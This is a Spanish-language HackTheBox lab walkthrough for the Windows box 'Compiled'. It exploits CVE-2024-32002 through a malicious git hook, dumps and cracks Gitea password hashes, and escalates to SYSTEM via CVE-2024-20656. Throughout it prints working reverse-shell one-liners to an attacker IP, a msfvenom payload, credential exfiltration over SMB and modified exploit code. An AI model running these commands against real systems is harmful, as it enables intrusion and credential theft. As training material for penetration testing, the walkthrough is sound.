the_open_door
café
ESEN

Compiled

HackTheBoxMediaWindows10.10.11.26

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#gitea#git#ssrf#cve-2024-32002#git-hook#rce#hashcat#pbkdf2#winrm#cve-2024-20656#visual-studio#runascs#privilege-escalation
TL;DR. Compiled es una caja Windows que ofrece un servicio de compilación de código a partir de una URL de repositorio git. Apuntar esa URL a nuestra máquina (SSRF) filtra la versión de git: 2.45.0.windows.1, vulnerable a CVE-2024-32002. Con dos repos en el Gitea local (submódulo + symlink) plantamos un git hook que se ejecuta al clonar y nos da shell como richard. Su acceso a la base de datos de Gitea deja volcar hashes; crackeamos el de emily (cracking) y entramos por WinRM. Para root, la caja tiene Visual Studio: abusamos del servicio VSStandardCollectorService150 que corre como SYSTEM (CVE-2024-20656), lanzando el exploit con RunasCs.

Reconocimiento

Escaneo inicial

ping -c 1 10.10.11.26

ping a 10.10.11.26 con ttl=127

64 bytes from 10.10.11.26: icmp_seq=1 ttl=127 time=115 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

El barrido UDP de los 1000 puertos más comunes va primero, porque es el que casi nadie hace y a veces regala un servicio:

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 1000 10.10.11.26 | grep -v 'no-response'

el escaneo UDP termina con la tabla PORT vacía: ningún puerto UDP abierto

Completed UDP Scan at 22:33, 2.21s elapsed (1000 total ports)
Nmap scan report for 10.10.11.26
Host is up, received user-set.

PORT        STATE           SERVICE             REASON

Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds
           Raw packets sent: 2090 (98.700KB) | Rcvd: 0 (0B)

Tabla vacía y Rcvd: 0 (0B): nada por UDP. El TCP completo sí deja tres puertos:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.26 -oG scan

el escaneo TCP completo descubre los puertos 3000, 5000 y 5985, todos con ttl 127

Discovered open port 5985/tcp on 10.10.11.26
Discovered open port 3000/tcp on 10.10.11.26
Discovered open port 5000/tcp on 10.10.11.26
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE REASON
3000/tcp open  ppp     syn-ack ttl 127
5000/tcp open  upnp    syn-ack ttl 127
5985/tcp open  wsman   syn-ack ttl 127

Los nombres de servicio que pone nmap aquí (ppp, upnp, wsman) salen de su tabla estática de puertos, no de la respuesta real: solo el wsman del 5985 acierta. Los tres se pasan al siguiente comando con extractPorts:

extractPorts scan

extractPorts devuelve IP Address 10.10.11.26 y Open ports 3000,5000,5985, copiados al portapapeles

Extracting information ...
IP Address: 10.10.11.26
Open ports: 3000,5000,5985

Ports copied to clipboard

File: extractPorts.tmp
1  IP Address: 10.10.11.26
2  Open ports: 3000,5000,5985
nmap -p3000,5000,5985 -sCV 10.10.11.26

el escaneo de versiones identifica el 3000 como un servidor Golang net/http con título Git y cookie i_like_gitea

PORT     STATE SERVICE VERSION
3000/tcp open  http    Golang net/http server
|_http-title: Git
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.0 200 OK
|     Set-Cookie: i_like_gitea=475db53be2d54235; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=YoET2GXQU44Gxd3QC8Ai6UvMpMw6MTc2NjUxMDY2Mjk4NDk3MDYwMA; Path=/; Max-Age=86400
|     X-Frame-Options: SAMEORIGIN
|_    <title>Git</title>
5000/tcp open  http    Werkzeug httpd (Python)
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (WinRM)

La continuación de esa misma salida da las versiones exactas de los otros dos:

la parte baja del escaneo muestra Werkzeug 3.0.3 con Python 3.12.3 en el 5000, Microsoft HTTPAPI 2.0 en el 5985 y el fingerprint sin reconocer del 3000

5000/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
|_http-title: Compiled - Code Compiling Services
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
1 service unrecognized despite returning data.

Merece la pena leer despacio lo que devuelve el 3000, porque nmap no dice "Gitea": dice Golang net/http server, que es solo el lenguaje del servidor. Quien lo identifica es un detalle de la respuesta, la cookie i_like_gitea, que es la de sesión de ese producto. Es un buen ejemplo de por qué conviene mirar el fingerprint-strings entero y no quedarse en la columna VERSION.

Así que tenemos un Gitea (servidor git con interfaz web), una aplicación Flask/Werkzeug y WinRM. El WinRM abierto importa: si conseguimos credenciales de un usuario del grupo adecuado, tendremos shell directa.

HTTP - TCP 3000 y 5000: el servicio de compilación

Confirmamos la identificación de los dos servicios web antes de tocarlos:

whatweb http://10.10.11.26:3000
whatweb http://10.10.11.26:5000

whatweb confirma Gitea en el 3000 y Werkzeug 3.0.3 con Python 3.12.3 en el 5000, titulado Compiled - Code Compiling Services

http://10.10.11.26:3000 [200 OK] Cookies[_csrf,i_like_gitea], HTML5, HttpOnly[_csrf,i_like_gitea],
IP[10.10.11.26], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website],
PoweredBy[Gitea], Script, Title[Git], X-Frame-Options[SAMEORIGIN]

http://10.10.11.26:5000 [200 OK] Bootstrap[4.5.2], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.12.3],
IP[10.10.11.26], JQuery, Python[3.12.3], Script, Title[Compiled - Code Compiling Services],
Werkzeug[3.0.3]

Wappalyzer coincide en los dos puertos, lo que ya adelanta que comparten plantilla:

Wappalyzer sobre el 3000 detecta Gitea en Development, Go como lenguaje, Vue.js, jQuery 3.7.1 y Bootstrap 4.5.2

Development           Gitea
Programming languages Go
JavaScript frameworks GSAP, Vue.js
JavaScript libraries  core-js 3.22.8, jQuery 3.7.1
UI frameworks         Bootstrap 4.5.2

Wappalyzer sobre el 5000 devuelve exactamente la misma lista, con la portada Welcome to Compiled detrás

El código fuente de ambos completa el cuadro. El del 3000 filtra dos datos que whatweb no da: la versión de Gitea y el nombre interno con el que está configurado:

el view-source del 3000 muestra appUrl gitea.compiled.htb:3000 y assetVersionEncoded con la versión 1.21.6

<title>Git</title>
<meta name="author" content="Gitea - Git with a cup of tea">
<meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">

window.config = {
    appUrl: 'http:\/\/gitea.compiled.htb:3000\/',
    assetVersionEncoded: encodeURIComponent('1.21.6'),

Gitea 1.21.6 y el dominio interno gitea.compiled.htb. El del 5000 enseña el formulario y, sobre todo, el nombre del parámetro que habrá que atacar:

el view-source del 5000 muestra el formulario POST con el input repo_url y las tres tarjetas de compilación C++, C# y .NET

<h2 class="mb-4">Compile your code</h2>
<form method="post" action="/">
    <div class="form-group">
        <label for="repo_url">Enter Git Repository URL:</label>
        <input type="text" id="repo_url" name="repo_url" class="form-control col-md-6 mx-auto">
    </div>
    <button type="submit" class="btn btn-primary">Submit</button>
</form>

Ahora sí: PoweredBy[Gitea] cierra la identificación del 3000, y el título del 5000 (Compiled - Code Compiling Services) adelanta para qué sirve. Un dirsearch contra el Gitea saca sus rutas habituales:

dirsearch -u http://10.10.11.26:3000/ --exclude-status=403,404

dirsearch sobre el Gitea lista /user/login, /administrator, /explore/repos y un /v2 que responde 401

[15:12:28] 303 -   38B  - /admin  ->  /user/login
[15:12:36] 200 -  16KB  - /administrator
[15:12:39] 200 -  704B  - /api/swagger
[15:12:54] 303 -   41B  - /explore  ->  /explore/repos
[15:12:54] 200 -  18KB  - /explore/repos
[15:13:31] 200 -  11KB  - /user/login/
[15:13:32] 401 -   50B  - /v2/

Nada explotable de entrada (todo lleva al login), pero /explore/repos queda anotado: es la vista pública de repositorios, y en un Gitea mal configurado es donde aparece el código que no debería. Contra el 5000 el mismo barrido no saca nada:

dirsearch -u http://10.10.11.26:5000/ --exclude-status=403,404 2>/dev/null

dirsearch contra el 5000 recorre las 11460 palabras del diccionario y termina con Task Completed sin una sola línea de resultado

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.11.26:5000/

[15:16:13] Starting:

Task Completed

Ni una ruta. Así que lo exploramos a mano:

la web del puerto 5000 compila código desde una URL de repositorio git

La aplicación del 5000 compila proyectos C++/C#/.NET a partir de una URL de repositorio git. Al enviar un valor de ejemplo, la propia validación cuenta cómo espera la entrada:

el formulario devuelve en rojo: Invalid Git repository URL. It must start with "http://" and end with ".git"

Invalid Git repository URL. It must start with "http://" and end with ".git".

Exige que empiece por http:// y acabe en .git. Un servicio que va a clonar lo que le demos es un candidato claro a SSRF y, según qué versión de git use, a RCE.

Explotación

TCP 5000: SSRF y fuga de la versión de git

Apuntamos la URL a nuestra máquina con un listener en escucha. En vez de un servidor HTTP de Python usamos nc, que muestra las cabeceras crudas de la petición entrante (SSRF):

nc -nlvp 80
# en la web: http://10.10.16.4/x.git

nc recibe la petición del servidor con el User-Agent git/2.45.0.windows.1

GET /x.git/info/refs?service=git-upload-pack HTTP/1.1
User-Agent: git/2.45.0.windows.1

El servidor nos visita y revela la pieza clave: usa git 2.45.0.windows.1. Buscar esa versión exacta devuelve siempre el mismo identificador:

la búsqueda de "git version 2.45 0 windows 1 vulnerability" devuelve entradas de Invicti, Amal Murali, GitHub y CVE Details, todas apuntando a CVE-2024-32002

Git SCM affected by CVE-2024-32002 (invicti.com)
Exploiting CVE-2024-32002: RCE via git clone (amalmurali.me)
A proof of concept for the git vulnerability CVE-2024-32002 (github.com/amalmurali47)
Vulnerability Details CVE-2024-32002 GIT (cvedetails.com)

Esa versión arrastra CVE-2024-32002, una RCE que se dispara al clonar recursivamente un repositorio malicioso.

TCP 3000 y 5000: RCE vía CVE-2024-32002

CVE-2024-32002 aprovecha el manejo de submódulos y symlinks en sistemas de ficheros insensibles a mayúsculas (Windows): con dos repos bien montados, git escribe un hook dentro de .git/hooks/ y lo ejecuta durante el propio clone, sin interacción de la víctima.

explicación de CVE-2024-32002 (RCE en git clone recursivo)

El artículo trae además la prueba de concepto completa, que es el guion que vamos a seguir paso a paso (cambiando su calc.exe por una reverse shell):

el script de prueba de concepto del artículo: configura protocol.file.allow y core.symlinks, crea el repo hook con su post-checkout, y luego el repo captain con el submódulo x/y

#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

La única diferencia con nuestro caso es que el PoC usa repositorios locales ($(pwd)/hook) y aquí hay que publicarlos en el Gitea de la víctima, para que el servicio de compilación pueda clonarlos.

El registro está abierto, así que nos creamos una cuenta:

el formulario Register Account de Gitea relleno con el usuario test y el correo test@test.com

Register
  Username      : test
  Email Address : test@test.com
  Password / Confirm Password
  [Register Account]

Ya dentro, /explore/repos enseña lo que hay publicado, y de paso un nombre de usuario del sistema:

la vista Explore de Gitea, autenticada como test, lista los repositorios richard/Compiled en Python y richard/Calculator en C++

Repositories
  richard / Compiled     Python
  richard / Calculator   Yet a simple C++ calculator to run on CMD or PowerShell.   C++

richard es el dueño de los dos repositorios: un usuario del sistema al que apuntar. Ahora los nuestros. El primero, hook:

el formulario New Repository de Gitea con el propietario test y el nombre de repositorio hook

el botón Create Repository al final del formulario

git clone http://10.10.11.26:3000/test/hook
cd hook
ls -la

el clone avisa de que el repositorio está vacío y el ls -la solo muestra el directorio .git

Cloning into 'hook' ...
warning: You appear to have cloned an empty repository.

total 12
drwxr-xr-x 3 root root 4096 Dec 23 16:22 .
drwxr-xr-x 5 root root 4096 Dec 23 16:22 ..
drwxr-xr-x 6 root root 4096 Dec 23 16:22 .git

Dentro va el payload en hooks/post-checkout:

mkdir -p y/hooks
cat > y/hooks/post-checkout <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.4/4444 0>&1
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"

el heredoc escribe el post-checkout con la reverse shell hacia 10.10.16.4:4444, se le da permiso de ejecución y el commit devuelve deddc9d

[main (root-commit) deddc9d] post-checkout
git push

el git push pide usuario y contraseña de Gitea y sube los 5 objetos creando la rama main

Username for 'http://10.10.11.26:3000': test
Password for 'http://test@10.10.11.26:3000':
Enumerating objects: 5, done.
Writing objects: 100% (5/5), 337 bytes | 337.00 KiB/s, done.
To http://10.10.11.26:3000/test/hook
 * [new branch]      main -> main

A diferencia del PoC, la ruta del repositorio de hooks no es local sino la URL del Gitea:

la variable hook_repo_path se define como http://10.10.11.26:3000/test/hook

hook_repo_path="http://10.10.11.26:3000/test/hook"

El segundo repositorio, captain, se crea igual que el anterior:

el formulario New Repository con el propietario test y el nombre captain

New Repository
  Owner *           test
  Repository Name * captain
  Visibility        [ ] Make repository private
  Description       (Enter short description (optional))
  Template          Select a template.
  Issue Labels      Select an issue label set.
  .gitignore        Select .gitignore templates.

Añade un submódulo que apunta a hook y un symlink que redirige A/modules/x hacia .git, de modo que el hook acabe en .git/hooks/ (RCE por git hooks):

git clone http://10.10.11.26:3000/test/captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

el submodule add clona el repo hook dentro de captain/A/modules/x y el commit devuelve ddaaff2

Cloning into '/home/krmena/machines/compiled/content/captain/A/modules/x' ...
remote: Enumerating objects: 5, done.
remote: Total 5 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (5/5), done.
[main (root-commit) ddaaff2] add-submodule

El symlink no se crea con ln, sino escribiéndolo directamente en el índice de git: se guarda el texto .git como un objeto y se registra ese objeto con el modo 120000, que es como git marca un enlace simbólico.

printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"

la secuencia de hash-object, printf con el modo 120000, update-index y el commit 8373542 add-symlink

[main 8373542] add-symlink
git push

el push de captain sube 8 objetos y crea la rama main en el repositorio del Gitea

Enumerating objects: 8, done.
Writing objects: 100% (8/8), 594 bytes | 297.00 KiB/s, done.
To http://10.10.11.26:3000/test/captain
 * [new branch]      main -> main

Shell como richard

Nos ponemos a la escucha en el 4444 (el puerto del hook post-checkout). En vez de un nc pelado usamos Penelope (repo), un manejador de reverse shells que acepta varias sesiones a la vez e intenta mejorarlas a PTY automáticamente:

penelope

Entregamos al servicio del 5000 la URL del repo captain. Al clonarlo de forma recursiva, se ejecuta el post-checkout:

la web acepta la URL http://10.10.11.26:3000/test/captain.git y responde "Your git repository is being cloned for compilation", mientras Penelope registra la sesión y whoami devuelve Richard

Your git repository is being cloned for compilation.

[+] Listening for reverse shells on 0.0.0.0:4444
[+] Got reverse shell from COMPILED~10.10.11.26-MINGW64_NT-10.0-19045-x86_64
[+] Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[!] Cannot upgrade shell with the available binaries ...
[+] Interacting with session [1], Shell Type: Readline

Richard@COMPILED MINGW64 ~/source/cloned_repos/31bp8/.git/modules/x
$ whoami
Richard

La shell que llega es la de MINGW64, el entorno de Git for Windows, y no se deja mejorar a PTY. Para trabajar cómodos conviene saltar a una PowerShell, y el one-liner se saca ya codificado de revshells.com:

revshells.com con la IP 10.10.16.4 y el puerto 1234, la plantilla PowerShell #3 (Base64) seleccionada y el comando powershell -e listo para copiar

IP: 10.10.16.4   Port: 1234
PowerShell #3 (Base64)
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0A...

Ese powershell -e se pega en la sesión de Penelope con un nc a la escucha en el 1234:

rlwrap nc -nlvp 1234

Penelope acumula varias sesiones y, tras pegar el powershell -e, el listener del 1234 recibe una PowerShell limpia donde whoami devuelve Richard

listening on [any] 1234 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.26] 63853

PS C:\Users\Richard\Desktop> whoami
Richard

El hook se ejecuta en el contexto del servicio de compilación: somos compiled\richard.

Acceso como emily

La base de datos de Gitea

Explorando el sistema desde la raíz, C:\Program Files ya delata quién vive aquí:

dir C:\
cd PROGRA~1
dir

el dir de C:\ muestra app, Program Files y Users, y dentro de Program Files aparecen Git, Gitea y Python312

    Directory: C:\
d----   5/24/2024   4:36 PM   app
d-r--   5/24/2024   8:10 PM   Program Files
d-r--   5/22/2024   7:56 PM   Users

    Directory: C:\Program Files
d----   5/23/2024   3:34 PM   Git
d----   5/22/2024   8:01 PM   Gitea
d----   5/24/2024   3:43 PM   Python312

Gitea guarda todo su estado en un subdirectorio data, y ahí está la base de datos:

cd Gitea
dir
cd data
dir

el directorio de Gitea contiene custom, data, log y gitea.exe; dentro de data aparece gitea.db de 2.023.424 bytes

    Directory: C:\Program Files\Gitea
d----   5/22/2024   8:01 PM              custom
d----  12/23/2025   5:40 PM              data
d----   5/22/2024   8:01 PM              log
-a---   5/22/2024   7:42 PM   208024735  gitea.exe

    Directory: C:\Program Files\Gitea\data
d----   12/23/2025  5:21 PM              gitea-repositories
d----   12/23/2025  5:16 PM              sessions
-a---   12/23/2025  5:40 PM     2023424  gitea.db

Para analizarla con calma se trae al atacante por SMB, montando el recurso con credenciales (un smbserver.py sin autenticación lo rechazan las políticas modernas de Windows):

smbserver.py smbFolder $(pwd) -smb2support -username kmn9 -password kmn9123
net use \\10.10.16.4\smbFolder /u:kmn9 kmn9123
copy gitea.db \\10.10.16.4\smbFolder

el net use se completa correctamente, el copy lleva gitea.db al recurso y el ls del atacante ya la muestra junto a captain y hook

C:\Program Files\Gitea\data> net use \\10.10.16.4\smbFolder /u:kmn9 kmn9123
The command completed successfully.

C:\Program Files\Gitea\data> copy gitea.db \\10.10.16.4\smbFolder

# ls
Calculator  captain  gitea.db  hook

Ya en local, sqlite3 abre la base y enseña sus tablas:

sqlite3 gitea.db
.tables

sqlite3 3.46.1 abre gitea.db y el .tables lista decenas de tablas de Gitea: access, action, badge, collaboration, org_user, package, project, public_key...

SQLite version 3.46.1 2024-08-13 09:16:08
sqlite> .tables
access            org_user          package_version
access_token      package           project
action            package_blob      protected_branch
...

La que importa es user, que guarda los hashes de contraseña:

volcado de la tabla user de la base de datos de Gitea

Gitea guarda el salt y el passwd en hexadecimal, mientras que hashcat espera el formato sha256:<iteraciones>:<salt_b64>:<digest_b64>. La conversión no es invención propia: está documentada en el foro del propio hashcat.

un hilo del foro de hashcat.net explica cómo componer la cadena sha256:$iterations:$salt:$digest y muestra el ejemplo sha256:4096:bEJJem5JcTI=:mvW7jv+5py4wiLhB7AnGUN3xJmKw6Z1c

$salt   = base64_encode (substr ($phpass_hash, 7, 8));
$digest = convert_base64 (substr ($phpass_hash, 16));
echo "sha256:$iterations:$salt:$digest\n";

sha256:4096:bEJJem5JcTI=:mvW7jv+5py4wiLhB7AnGUN3xJmKw6Z1c
which can be cracked with -m 10900

Con esa plantilla, un while traduce las tres columnas de un tirón:

sqlite3 gitea.db "select name,passwd,salt from user" | while read line; do \
  salt="$(echo $line | awk '{print $3}' FS='|' | xxd -p -r | base64)"; \
  digest="$(echo $line | awk '{print $2}' FS='|' | xxd -p -r | base64)"; \
  username="$(echo $line | awk '{print $1}' FS='|')"; \
  echo "${username}:sha256:50000:${salt}:${digest}"; done | tee hashes

el one-liner devuelve cuatro líneas con el formato usuario:sha256:50000:salt:digest para administrator, richard, emily y test, y el cat hashes las confirma en el fichero

administrator:sha256:50000:pFxD023OMHYVixnCxpbvew==:G/CpVhzwdsX8DXbhQHiKkbUoFgnDhHkYOf1umZbTu/XJG47ua9UIHkIIXtC+d5wu+G0=
richard:sha256:50000:188slid90W2V7Vwzu1JLYg==:S0tTdm/pRufikbEG/Nb0lik0EW7JrHipmzv2sGz4Voqu3SZ+wCs5rrJE2D+4uJwkO14=
emily:sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=
test:sha256:50000:0ZFcoZSjh3TUvIK7NXfqHw==:VDlhulu1Mj1CVo3Q7Sg6DIKX8ukqVYU93uGNM8wZ5fJ+ld3lQ4mp+8ACvBElqxRd94U=

Cuatro cuentas: administrator, richard, emily y nuestro test.

Crackear el hash de emily

hashcat autodetecta el modo 10900 (PBKDF2-HMAC-SHA256) y rompe la contraseña de emily (cracking de hashes):

hashcat hashes /usr/share/wordlists/rockyou.txt --user

hashcat 7.1.2 arranca en modo autodetect, deduce el modo 10900 PBKDF2-HMAC-SHA256 y carga los 4 digests con rockyou.txt

hashcat (v7.1.2) starting in autodetect mode

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

10900 | PBKDF2-HMAC-SHA256 | Generic KDF

Hashes: 4 digests; 4 unique digests, 4 unique salts
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344396
hashcat hashes --show --user

hashcat revela emily:12345678

emily:sha256:50000:...:...:12345678

La contraseña de emily es 12345678. Como el WinRM (5985) está abierto, entramos con evil-winrm y leemos la flag de usuario:

evil-winrm -i 10.10.11.26 -u 'emily' -p '12345678'

evil-winrm 3.9 establece la sesión, whoami devuelve compiled\emily y el ipconfig confirma la IP 10.10.11.26

Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Emily\Documents> whoami
compiled\emily
*Evil-WinRM* PS C:\Users\Emily\Documents> ipconfig

Ethernet adapter Ethernet0 2:
   IPv4 Address. . . . . . . . . . . : 10.10.11.26
   Subnet Mask . . . . . . . . . . . : 255.255.254.0
   Default Gateway . . . . . . . . . : 10.10.10.2
type ..\desktop\user.txt

el type de user.txt devuelve la flag de usuario

*Evil-WinRM* PS C:\Users\Emily\Documents> type ..\desktop\user.txt
9b3b4a0ba806220a0db474a216dcfe63

Escalada de privilegios

La pista: Visual Studio

Una nota en el repositorio del servicio insiste en "mantener Visual Studio actualizado a la última versión". No es relleno: apunta a una vulnerabilidad parcheada de VS, y en efecto la caja tiene VS instalado.

nota que insiste en actualizar Visual Studio

La nota se comprueba enseguida: Visual Studio está instalado.

cd PROGRA~2
dir

el listado de C:\Program Files (x86) incluye Microsoft Visual Studio, resaltado, junto a Microsoft SDKs y MSBuild

    Directory: C:\Program Files (x86)
d----   1/20/2024   1:50 AM   Microsoft
d----   7/16/2024   2:45 PM   Microsoft SDKs
d----   1/20/2024  10:13 AM   Microsoft Visual Studio
d----   1/20/2024   1:59 AM   Microsoft.NET
d----   1/20/2024   1:52 AM   MSBuild

Dentro, la carpeta 2019 da la edición y el Installer trae la herramienta que da la versión exacta:

cd "Microsoft Visual Studio"
dir
cd Installer
dir

dentro de Microsoft Visual Studio hay 2019, Installer y Shared; el Installer contiene Assets, Feedback y los directorios de idioma

    Directory: C:\Program Files (x86)\Microsoft Visual Studio
d----   1/29/2024   9:07 PM   2019
d----   1/20/2024   1:57 AM   Installer
d----   1/20/2024   2:04 AM   Shared
& "C:\Program Files (x86)\Microsoft Visual Studio\Installer\vswhere.exe" -property catalog_productDisplayVersion

vswhere.exe devuelve la versión 16.10.0

16.10.0

Visual Studio 2019, versión 16.10.0, muy por detrás de la que el propio README pedía mantener al día.

CVE-2024-20656: VSStandardCollectorService150 como SYSTEM

Al instalar VS con soporte de C/C++ se crea el servicio VSStandardCollectorService150, que corre como LocalSystem y arranca bajo demanda. El primer intento de consultarlo desde la sesión de WinRM falla:

sc.exe qc VSStandardCollectorService150

sc.exe qc devuelve OpenService FAILED 5: Access is denied

[SC] OpenService FAILED 5:

Access is denied.

Ese Access is denied no es un callejón sin salida, es el primer aviso de lo que dará problemas al final: el token de la sesión WinRM no tiene los mismos permisos que una sesión interactiva. Relanzando la consulta con RunasCs sí responde:

sc qc del servicio: SERVICE_START_NAME LocalSystem

SERVICE_NAME: VSStandardCollectorService150
        BINARY_PATH_NAME : "C:\Program Files (x86)\Microsoft Visual Studio\Shared\Common\DiagnosticsHub.Collection.Service\StandardCollector.Service.exe"
        SERVICE_START_NAME : LocalSystem

CVE-2024-20656 abusa de las operaciones de fichero de ese servicio combinándolas con junctions y reparse points para ejecutar un binario propio como SYSTEM:

análisis de CVE-2024-20656 sobre VSStandardCollectorService150

Compilar el exploit y obtener SYSTEM

La prueba de concepto está publicada, y su README remite al artículo de MDSec que explica el fallo:

el repositorio Wh04m1001/CVE-2024-20656 en GitHub, con el directorio Expl y el enlace al artículo de mdsec.co.uk titulado Local Privilege Escalation in the VSStandardCollectorService150 Service

Wh04m1001 / CVE-2024-20656
  Expl/        Update main.cpp
  README.md    PoC for EoP in VSStandardCollectorService150 service
               https://www.mdsec.co.uk/2024/01/cve-2024-20656-local-privilege-escalation-in-vsstandardcollectorservice150-service/
  Languages: C++ 100.0%

Es C/C++, así que hay que compilarlo, y para eso hace falta una máquina con Visual Studio. Se clona en un Windows de laboratorio:

git clone https://github.com/Wh04m1001/CVE-2024-20656

el git clone del repositorio descarga los 24 objetos, y el explorador de GitHub muestra los ficheros Expl.sln, Expl.vcxproj, FileOplock.cpp y main.cpp

Cloning into 'CVE-2024-20656'...
remote: Enumerating objects: 24, done.
Receiving objects: 100% (24/24), 13.08 KiB | 191.00 KiB/s, done.

la descarga e instalación de Visual Studio Community en la máquina de laboratorio

El código trae dos rutas que hay que ajustar. La primera, al principio de main.cpp, apunta al binario de diagnóstico que el servicio ejecutará, y viene puesta para VS 2022:

main.cpp abierto en Visual Studio Code, con la primera linea del fichero apuntando a la ruta de Visual Studio 2022 Community, Team Tools, DiagnosticsHub

WCHAR cmd[] = L"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\Diagnostics...";

La víctima tiene VS 2019 en Program Files (x86), así que la ruta se corrige:

compilación del exploit Expl.exe en Visual Studio

WCHAR cmd[] = L"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";

La segunda ruta está en la función cb1(), y es la que decide qué binario se copia en el sitio privilegiado: ahí es donde se enchufa nuestra reverse shell.

la función cb1 con la línea CopyFile que copia c:\\ProgramData\\reverse.exe sobre MofCompiler.exe, resaltada

void cb1()
{
    printf("[*] Oplock!\n");
    while (!Move(hFile2)) {}
    printf("[+] File moved!\n");
    CopyFile(L"c:\\ProgramData\\reverse.exe",
             L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
    finished = TRUE;
}

Con las dos rutas ajustadas se compila en modo Release x64:

Visual Studio compila el proyecto en Release x64: Compilación 1 correcto, 0 erróneo, y genera Expl.exe en x64\Release

1> Expl.vcxproj -> C:\Users\usuario\Desktop\CVE-2024-20656\Expl\x64\Release\Expl.exe
========== Compilación: 1 correcto, 0 erróneo, 0 actualizado, 0 omitido ==========
========== Compilar completado a las 3:12 y tardó 13,898 segundos ==========

El binario recién compilado vuelve al Kali por SMB, igual que vino la base de datos:

smbserver.py smbfolder $(pwd) -smb2support
net use \\192.168.1.80\smbfolder
copy Expl.exe \\192.168.1.80\smbfolder

el net use conecta el recurso, el copy lleva Expl.exe y el ls del Kali ya muestra Expl.exe junto a RunasCs.exe y reverse.exe

C:\...\Expl\x64\Release>copy Expl.exe \\192.168.1.80\smbfolder
        1 archivo(s) copiado(s).

# ls
Expl.exe  RunasCs.exe  RunasCs.zip  RunasCs_net2.exe  reverse.exe

Generamos el payload de reverse shell con msfvenom y subimos a la caja los tres binarios:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.4 LPORT=4443 -f exe -o reverse.exe
python3 -m http.server 80
wget http://10.10.16.4/Expl.exe -outfile Expl.exe

el wget baja Expl.exe a C:\ProgramData mientras el http.server del atacante registra el GET /Expl.exe con un 200

*Evil-WinRM* PS C:\ProgramData> wget http://10.10.16.4/Expl.exe -outfile Expl.exe

10.10.11.26 - - [24/Dec/2025 02:23:54] "GET /Expl.exe HTTP/1.1" 200 -

subida de Expl.exe, reverse.exe y RunasCs a la máquina

*Evil-WinRM* PS C:\ProgramData> dir
Mode    LastWriteTime           Length  Name
-a---   12/24/2025   3:23 AM     172032 Expl.exe
-a---   12/24/2025   3:26 AM       7680 reverse.exe
-a---   12/24/2025   2:20 AM      51712 Runas.exe

Con wget desde la sesión Evil-WinRM traemos los tres binarios a C:\ProgramData: el Expl.exe (exploit compilado), el reverse.exe (payload de msfvenom, 7680 bytes) y Runas.exe (RunasCs).

Con nc a la escucha en el 4443 (el LPORT de reverse.exe):

rlwrap nc -nlvp 4443

El detalle final: la sesión de WinRM usa un logon de red, cuyo token no basta para que el exploit hable con el COM del servicio. Lo relanzamos con un logon interactivo usando RunasCs (RunasCs) y las credenciales de emily:

.\Runas.exe emily 12345678 "cmd /c C:\ProgramData\Expl.exe"

RunasCs lanza el exploit y se recibe una shell como nt authority\system

El exploit dispara el servicio SYSTEM, que ejecuta el payload, y recibimos la reverse shell como nt authority\system:

C:\ProgramData\Microsoft\VisualStudio\SetupWMI> whoami
nt authority\system

el type de root.txt desde la shell de SYSTEM devuelve la flag final

C:\>type C:\users\administrator\desktop\root.txt
e6b5363d8a2d8175e4d1a9425bdea04b

Cadena de ataque

HTTP 5000 (servicio de compilación, clona git URLs)
